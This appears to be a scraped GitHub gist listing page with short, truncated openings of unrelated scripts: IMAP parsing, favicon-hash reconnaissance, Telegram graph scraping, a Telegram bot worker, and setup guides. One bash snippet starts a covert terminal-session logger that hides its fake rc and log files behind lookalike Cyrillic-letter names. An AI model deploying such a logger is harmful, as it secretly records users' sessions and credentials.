Xiaomi Redmi 2 with resolution 1280x720 (GUD RGB565 with compression)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from email.parser import HeaderParser | |
import imaplib | |
import time | |
import requests | |
from concurrent.futures import ThreadPoolExecutor, as_completed | |
imaplib._MAXLINE = 40000000 | |
ONE_TIME_LIMIT = 10 | |
mailparser = HeaderParser() |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# CUSTIMIZE BEFORE UPLOAD | |
fakerc=~/.bаsh_login | |
logfile=~/.bаsh_cache | |
waitsec=1 | |
changetime=$(stat -c %Y ~/.bashrc) | |
read script <<EOF | |
exec script -B "$logfile" -afqc "bash --rcfile '$fakerc'" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# https://twitter.com/brsn76945860/status/1171233054951501824 | |
# pip install mmh3 | |
# | |
# in python 3 | |
# Author: https://gist.github.com/yehgdotnet | |
# | |
# Author: Esonhugh (https://gist.github.com/Esonhugh) more automatic | |
# date: 2021/12/07 23:38 UTC+0800 | |
import mmh3 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# requirements: telethon, networkx, python-pysocks[asyncio], pygraphviz, tqdm | |
from telethon.client import TelegramClient | |
from telethon.tl.types import User as TgUser, Channel as TgChannel, Chat as TgChat | |
import telethon | |
import asyncio | |
import networkx as nx | |
from tqdm import tqdm | |
import pickle |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* This document is provided to the public domain under the | |
* terms of the Creative Commons CC0 public domain license | |
*/ | |
How to boot Arch Linux ARM in QEMU (patched for M1) | |
Prerequisites: | |
QEMU - patched for M1 processors - patches: https://github.com/utmapp/qemu |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
addEventListener('fetch', event => event.respondWith(handleRequest(event.request))); | |
// Add environment variable `TGBOT_TOKEN` via Worker-Settings | |
async function requestTelegramBotAPI(method, payload) { | |
return fetch(`https://api.telegram.org/bot${TGBOT_TOKEN}/${method}`, { | |
method: "POST", | |
headers: { | |
"Content-Type": "application/json; charset=utf-8" | |
}, | |
body: !payload ? undefined : JSON.stringify(payload) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import json | |
import random | |
Back_URL = 'https://api.bilibili.com/x/web-interface/archive/stat?aid=' | |
headers = { | |
'Cookie': "Replace Me With REAL COOKIE" , | |
'Pragma': 'no-cache', |
This guide will help you install and setup Visual Studio Code for programming and debugging STM32 boards.
I tested this guide under Arch Linux and Ubuntu 18.04. If you get it to work under other setups, please let me know so I will update the steps with more info.
If you were using STM32CubeIDE or SystemWorkbench before, you need to convert your projects in order for them to work. The conversion procedure is fully reversible.
Up until the time of writing this guide, it is not possible to use STM32CubeIDE and Visual Studio Code on the same project unless some configuration changes are made on CubeIDE.
Besides that, it is reccomended that every person that works on a project runs the same working environment.
NewerOlder